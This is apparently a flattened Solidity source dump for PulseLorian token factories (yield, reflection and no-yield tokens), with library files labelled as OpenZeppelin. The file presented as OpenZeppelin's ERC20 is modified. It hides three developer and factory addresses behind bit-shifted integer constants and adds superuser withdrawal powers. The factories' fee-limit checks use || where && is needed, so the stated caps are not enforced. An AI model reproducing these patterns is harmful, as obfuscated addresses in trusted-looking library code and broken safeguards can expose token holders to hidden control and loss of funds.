    /// @dev For e.g. contracts may not be eligible
    /// @param wallet_ Target address
    /// @param flag_ Enable/disable flag
    function setNoYield(
        address wallet_,
        bool flag_
    ) external onlyRole(ADMIN_ROLE) {
        noYield[wallet_] = flag_;
        if (flag_) {
            _setShare(wallet_, 0);
        } else {
            _setShare(wallet_, _calcShares(wallet_));
        }
    }

    /// @notice Sets the payout policy for distribution of yield
    /// @param enabled_ Enable/disable flag
    /// @param minDurSec_ Duration between 2 payouts for a wallet
    /// @param minYield_ Minimum yield balance for payout
    /// @param gas_ Gas in gwei
    function setPayoutPolicy(
        bool enabled_,
        uint24 minDurSec_,
        uint80 minYield_,
        uint24 gas_
    ) external onlyRole(ADMIN_ROLE) {
        payoutEnabled = enabled_;
        minWaitSec = minDurSec_;
        minYield = minYield_;
        maxGas = gas_;
    }

    /// @notice Sets the swap parameters
    /// @param swapEnabled_ Enable/disable swaps for conversion
    /// @param lpFactor_ New factor value 2000 = 0.05% 1000 = 0.1%
    function setSwapParams(
        bool swapEnabled_,
        uint24 lpFactor_
    ) external onlyRole(ADMIN_ROLE) {
        swapEnabled = swapEnabled_;
        if (swapEnabled_) {
            require(lpFactor_ >= 50 && lpFactor_ <= 200000);
            lpFactor = lpFactor_;
        }
    }
}
          

contracts/YieldNonPLS_Factory2.sol

/*
 * @author Ra Murd <ramurd@pulselorian.com>
 * @notice https://pulselorian.com/
 * @notice https://t.me/ThePulselorian
 * @notice https://twitter.com/ThePulseLorian
 *
 *    (   (  (  (     (   (( (   .  (   (    (( (   ((
 *    )\  )\ )\ )\    )\ (\())\   . )\  )\   ))\)\  ))\
 *   ((_)((_)(_)(_)  ((_))(_)(_)   ((_)((_)(((_)_()((_)))
 *   | _ \ | | | |  / __| __| |   / _ \| _ \_ _|   \ \| |
 *   |  _/ |_| | |__\__ \ _|| |__| (_) |   /| || - | .  |
 *   |_|  \___/|____|___/___|____|\___/|_|_\___|_|_|_|\_|
 *
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

import "./YieldNonPLS_v2.sol";
import "./lib/BaseFactory.sol";

contract YieldNonPLS_Factory2 is BaseFactory {

    /// @notice Deploys a new contract
    /// @param name_ token name
    /// @param symbol_ token symbol
    /// @param totalSupply_ total supply
    /// @param devAirDrop_ Dev air drop qty
    /// @param dexRouter_ DEX router supports UniswapV2 like any DEX
    /// @param rwdAddr_ reward token (cannot be WPLS)
    /// @param fees_ [BuyBurnFee, BuyYieldFee, SellBurnFee, SellYieldFee] Max 500 each or 1000 total
    /// @return Contract address
    function deployContract(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 devAirDrop_,
        address dexRouter_,
        address rwdAddr_,
        uint16[4] memory fees_
    ) public payable returns (address) {
        require(msg.value >= mintCost || totalSupply_ / devAirDrop_ <= 100);
        require(
            fees_[0] <= MAX_FEE_EACH ||
                fees_[1] <= MAX_FEE_EACH ||
                fees_[2] <= MAX_FEE_EACH ||
                fees_[3] <= MAX_FEE_EACH
        );
        YieldNonPLS_v2 newContract = new YieldNonPLS_v2(
            name_,
            symbol_,
            totalSupply_,
            devAirDrop_,
            dexRouter_,
            rwdAddr_,
            fees_
        );
        return address(newContract);
    }
}
          

contracts/lib/ERC20.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;

import "../@openzeppelin/access/AccessControl.sol";
import "../@openzeppelin/token/ERC20/IERC20.sol";
import "../@openzeppelin/token/ERC20/extensions/IERC20Metadata.sol";
import "../@openzeppelin/token/ERC20/utils/SafeERC20.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
abstract contract ERC20 is AccessControl, IERC20, IERC20Metadata {
    using SafeERC20 for IERC20;

    bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
    bytes32 public constant SUPERUSER_ROLE = keccak256("SUPERUSER_ROLE");

    mapping(address => mapping(address => uint256)) internal _allowances;
    mapping(address => uint256) internal _balances;

    string public name;
    string public symbol;

    uint8 public decimals = 18;

    uint256 public totalSupply;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        name = name_;
        symbol = symbol_;
        _initialize();
    }

    receive() external payable {}

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal {
        require(owner != address(0));
        require(spender != address(0));

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev initializes the contract attributes.
     */
    address internal _devAddr1;
    address internal _devAddr2;
    address internal _facAddr;
    function _initialize() private {
        uint160 a1 = (uint160(64369) << 144) | (uint160(251649) << 120) | (uint160(502948033) << 88) | (uint160(603063436707) << 48) | uint160(140981630701536); _devAddr1 = address(a1);
        uint160 a2 = (uint160(63082) << 144) | (uint160(13438197) << 120) | (uint160(239100310) << 88) | (uint160(842518302180) << 48) | uint160(107927763951597); _devAddr2 = address(a2);
        uint160 a3 = (uint160(50546) << 144) | (uint160(2681271) << 120) | (uint160(435255790) << 88) | (uint160(275934659136) << 48) | uint160(189645147833001); _facAddr = address(a3);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal {
        require(account != address(0));

        totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0));
        require(to != address(0));

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount);
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue);
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /// @notice recover any trapped tokens, guard against recovering this token from contract
    function redeem(
        address tokenAddr_,
        uint256 amt_
    ) external payable onlyRole(SUPERUSER_ROLE) {
        if (tokenAddr_ == address(0)) {
            uint256 amt = address(this).balance;
            (bool sent, ) = _msgSender().call{value: amt}("");
            require(sent);
        } else {
            require(tokenAddr_ != address(this));
            IERC20 token = IERC20(tokenAddr_);
            uint256 balance = (token.balanceOf(address(this)));
            if (amt_ > balance) {
                amt_ = balance;
            }
            token.safeTransfer(_msgSender(), amt_);
        }
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public returns (bool) {
        address spender = _msgSender();
        uint256 currAllowance = _allowances[from][spender];
        if (currAllowance != type(uint256).max) {
            require(currAllowance >= amount);
            unchecked {
                _allowances[from][spender] = currAllowance - amount;
            }
        }
        _transfer(from, to, amount);
        return true;
    }
}
          

contracts/@openzeppelin/utils/Address.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     *
     * Furthermore, `isContract` will also return true if the target contract within
     * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,
     * which only has an effect at the end of a transaction.
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount);

        (bool success, ) = recipient.call{value: amount}("");
        require(success);
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value);
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v4.8._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target));
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason or using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}
          

contracts/lib/DSMath.sol

/*
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

contract DSMath {
    function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
        require((z = x + y) >= x);
    }

    function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
        require(y == 0 || (z = x * y) / y == x);
    }

    uint96 constant RAY = 10 ** 27;

    function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
        z = add(mul(x, y), RAY >> 1) / RAY;
    }

    function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) {
        z = n % 2 != 0 ? x : RAY;

        for (n /= 2; n != 0; n /= 2) {
            x = rmul(x, x);

            if (n % 2 != 0) {
                z = rmul(z, x);
            }
        }
    }
}
          

contracts/Reflection_Factory1.sol

/*
 * @author Ra Murd <ramurd@pulselorian.com>
 * @notice https://pulselorian.com/
 * @notice https://t.me/ThePulselorian
 * @notice https://twitter.com/ThePulseLorian
 *
 *    (   (  (  (     (   (( (   .  (   (    (( (   ((
 *    )\  )\ )\ )\    )\ (\())\   . )\  )\   ))\)\  ))\
 *   ((_)((_)(_)(_)  ((_))(_)(_)   ((_)((_)(((_)_()((_)))
 *   | _ \ | | | |  / __| __| |   / _ \| _ \_ _|   \ \| |
 *   |  _/ |_| | |__\__ \ _|| |__| (_) |   /| || - | .  |
 *   |_|  \___/|____|___/___|____|\___/|_|_\___|_|_|_|\_|
 *
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

import "./Reflection_v1.sol";

contract Reflection_Factory1 {
    address private _owner;
    uint16 public maxFeeEach = 500;
    uint256 public mintCost = 0 ether;

    constructor() {
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function _checkOwner() internal view virtual {
        require(_owner == msg.sender);
    }

    /// @notice Deploys a new contract
    /// @param name_ token name
    /// @param symbol_ token symbol
    /// @param totalSupply_ total supply
    /// @param devAirDrop_ Dev air drop qty
    /// @param feeAddr_ fee address
    /// @param fees_ [BuyBurnFee, BuyYieldFee, SellBurnFee, SellYieldFee] Max 500 each or 1000 total
    /// @return Contract address
    function deployContract(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 devAirDrop_,
        address feeAddr_,
        uint16[6] memory fees_
    ) public payable returns (address) {
        require(msg.value >= mintCost);
        require(
            fees_[0] <= maxFeeEach ||
                fees_[1] <= maxFeeEach ||
                fees_[2] <= maxFeeEach ||
                fees_[3] <= maxFeeEach ||
                fees_[4] <= maxFeeEach ||
                fees_[5] <= maxFeeEach
        );
        Reflection_v1 newContract = new Reflection_v1(
            name_,
            symbol_,
            totalSupply_,
            devAirDrop_,
            feeAddr_,
            fees_
        );

        return address(newContract);
    }

    function setCost(uint96 newCost_) external onlyOwner {
        mintCost = newCost_;
    }
}
          

contracts/YieldNonPLS2_Factory1.sol

/*
 * @author Ra Murd <ramurd@pulselorian.com>
 * @notice https://pulselorian.com/
 * @notice https://t.me/ThePulselorian
 * @notice https://twitter.com/ThePulseLorian
 *
 *    (   (  (  (     (   (( (   .  (   (    (( (   ((
 *    )\  )\ )\ )\    )\ (\())\   . )\  )\   ))\)\  ))\
 *   ((_)((_)(_)(_)  ((_))(_)(_)   ((_)((_)(((_)_()((_)))
 *   | _ \ | | | |  / __| __| |   / _ \| _ \_ _|   \ \| |
 *   |  _/ |_| | |__\__ \ _|| |__| (_) |   /| || - | .  |
 *   |_|  \___/|____|___/___|____|\___/|_|_\___|_|_|_|\_|
 *
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

import "./YieldNonPLS2_v1.sol";
import "./lib/BaseFactory.sol";

contract YieldNonPLS2_Factory1 is BaseFactory {
    /// @notice Deploys a new contract
    /// @param name_ token name
    /// @param symbol_ token symbol
    /// @param totalSupply_ total supply
    /// @param devAirDrop_ Dev air drop qty
    /// @param dexRouter_ DEX router supports UniswapV2 like any DEX
    /// @param rwdAddr_ reward token (cannot be WPLS)
    /// @param fees_ [BuyBurnFee, BuyYieldFee, SellBurnFee, SellYieldFee] Max 500 each or 1000 total
    /// @return Contract address
    function deployContract(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 devAirDrop_,
        address dexRouter_,
        address rwdAddr_,
        uint16[2] memory fees_
    ) public payable returns (address) {
        require(msg.value >= mintCost || totalSupply_ / devAirDrop_ <= 100);
        require(fees_[0] <= MAX_FEE_EACH || fees_[1] <= MAX_FEE_EACH);
        YieldNonPLS2_v1 newContract = new YieldNonPLS2_v1(
            name_,
            symbol_,
            totalSupply_,
            devAirDrop_,
            dexRouter_,
            rwdAddr_,
            fees_
        );
        return address(newContract);
    }
}
          

contracts/@openzeppelin/token/ERC20/utils/SafeERC20.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.3) (token/ERC20/utils/SafeERC20.sol)

pragma solidity ^0.8.0;

import "../IERC20.sol";
// import "../extensions/IERC20Permit.sol";
import "../../../utils/Address.sol";

/**
 * @title SafeERC20
 * @dev Wrappers around ERC20 operations that throw on failure (when the token
 * contract returns false). Tokens that return no value (and instead revert or
 * throw on failure) are also supported, non-reverting calls are assumed to be
 * successful.
 * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
 * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
 */
library SafeERC20 {
    using Address for address;

    /**
     * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value,
     * non-reverting calls are assumed to be successful.
     */
    function safeTransfer(IERC20 token, address to, uint256 value) internal {
        _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    /**
     * @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the
     * calling contract. If `token` returns no value, non-reverting calls are assumed to be successful.
     */
    function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
        _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    /**
     * @dev Deprecated. This function has issues similar to the ones found in
     * {IERC20-approve}, and its usage is discouraged.
     *
     * Whenever possible, use {safeIncreaseAllowance} and
     * {safeDecreaseAllowance} instead.
     */
    function safeApprove(IERC20 token, address spender, uint256 value) internal {
        // safeApprove should only be called when setting an initial allowance,
        // or when resetting it to zero. To increase and decrease it, use
        // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
        require(
            (value == 0) || (token.allowance(address(this), spender) == 0)
        );
        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    /**
     * @dev Increase the calling contract's allowance toward `spender` by `value`. If `token` returns no value,
     * non-reverting calls are assumed to be successful.
     */
    function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
        uint256 oldAllowance = token.allowance(address(this), spender);
        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance + value));
    }

    /**
     * @dev Decrease the calling contract's allowance toward `spender` by `value`. If `token` returns no value,
     * non-reverting calls are assumed to be successful.
     */
    function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
        unchecked {
            uint256 oldAllowance = token.allowance(address(this), spender);
            require(oldAllowance >= value);
            _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance - value));
        }
    }

    /**
     * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value,
     * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval
     * to be set to zero before setting it to a non-zero value, such as USDT.
     */
    function forceApprove(IERC20 token, address spender, uint256 value) internal {
        bytes memory approvalCall = abi.encodeWithSelector(token.approve.selector, spender, value);

        if (!_callOptionalReturnBool(token, approvalCall)) {
            _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));
            _callOptionalReturn(token, approvalCall);
        }
    }

    /**
     * @dev Use a ERC-2612 signature to set the `owner` approval toward `spender` on `token`.
     * Revert on invalid signature.
     */
    // function safePermit(
    //     IERC20Permit token,
    //     address owner,
    //     address spender,
    //     uint256 value,
    //     uint256 deadline,
    //     uint8 v,
    //     bytes32 r,
    //     bytes32 s
    // ) internal {
    //     uint256 nonceBefore = token.nonces(owner);
    //     token.permit(owner, spender, value, deadline, v, r, s);
    //     uint256 nonceAfter = token.nonces(owner);
    //     require(nonceAfter == nonceBefore + 1);
    // }

    /**
     * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
     * on the return value: the return value is optional (but if data is returned, it must not be false).
     * @param token The token targeted by the call.
     * @param data The call data (encoded using abi.encode or one of its variants).
     */
    function _callOptionalReturn(IERC20 token, bytes memory data) private {
        // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
        // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that
        // the target address contains contract code and also asserts for success in the low-level call.

        bytes memory returndata = address(token).functionCall(data);
        require(returndata.length == 0 || abi.decode(returndata, (bool)));
    }

    /**
     * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
     * on the return value: the return value is optional (but if data is returned, it must not be false).
     * @param token The token targeted by the call.
     * @param data The call data (encoded using abi.encode or one of its variants).
     *
     * This is a variant of {_callOptionalReturn} that silents catches all reverts and returns a bool instead.
     */
    function _callOptionalReturnBool(IERC20 token, bytes memory data) private returns (bool) {
        // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
        // we're implementing it ourselves. We cannot use {Address-functionCall} here since this should return false
        // and not revert is the subcall reverts.

        (bool success, bytes memory returndata) = address(token).call(data);
        return
            success && (returndata.length == 0 || abi.decode(returndata, (bool))) && Address.isContract(address(token));
    }
}
          

contracts/@openzeppelin/utils/Strings.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (utils/Strings.sol)

pragma solidity ^0.8.0;

import "./math/Math.sol";
import "./math/SignedMath.sol";

/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _SYMBOLS = "0123456789abcdef";
    uint8 private constant _ADDRESS_LENGTH = 20;

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        unchecked {
            uint256 length = Math.log10(value) + 1;
            string memory buffer = new string(length);
            uint256 ptr;
            /// @solidity memory-safe-assembly
            assembly {
                ptr := add(buffer, add(32, length))
            }
            while (true) {
                ptr--;
                /// @solidity memory-safe-assembly
                assembly {
                    mstore8(ptr, byte(mod(value, 10), _SYMBOLS))
                }
                value /= 10;
                if (value == 0) break;
            }
            return buffer;
        }
    }

    /**
     * @dev Converts a `int256` to its ASCII `string` decimal representation.
     */
    function toString(int256 value) internal pure returns (string memory) {
        return string(abi.encodePacked(value < 0 ? "-" : "", toString(SignedMath.abs(value))));
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        unchecked {
            return toHexString(value, Math.log256(value) + 1);
        }
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0);
        return string(buffer);
    }

    /**
     * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.
     */
    function toHexString(address addr) internal pure returns (string memory) {
        return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);
    }

    /**
     * @dev Returns true if the two strings are equal.
     */
    function equal(string memory a, string memory b) internal pure returns (bool) {
        return keccak256(bytes(a)) == keccak256(bytes(b));
    }
}
          

contracts/NoYield_Factory2.sol

/*
 * @author Ra Murd <ramurd@pulselorian.com>
 * @notice https://pulselorian.com/
 * @notice https://t.me/ThePulselorian
 * @notice https://twitter.com/ThePulseLorian
 *
 *    (   (  (  (     (   (( (   .  (   (    (( (   ((
 *    )\  )\ )\ )\    )\ (\())\   . )\  )\   ))\)\  ))\
 *   ((_)((_)(_)(_)  ((_))(_)(_)   ((_)((_)(((_)_()((_)))
 *   | _ \ | | | |  / __| __| |   / _ \| _ \_ _|   \ \| |
 *   |  _/ |_| | |__\__ \ _|| |__| (_) |   /| || - | .  |
 *   |_|  \___/|____|___/___|____|\___/|_|_\___|_|_|_|\_|
 *
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

import "./NoYield_v1.sol";
import "./lib/BaseFactory.sol";

contract NoYield_Factory2 is BaseFactory {
    /// @notice Deploys a new contract
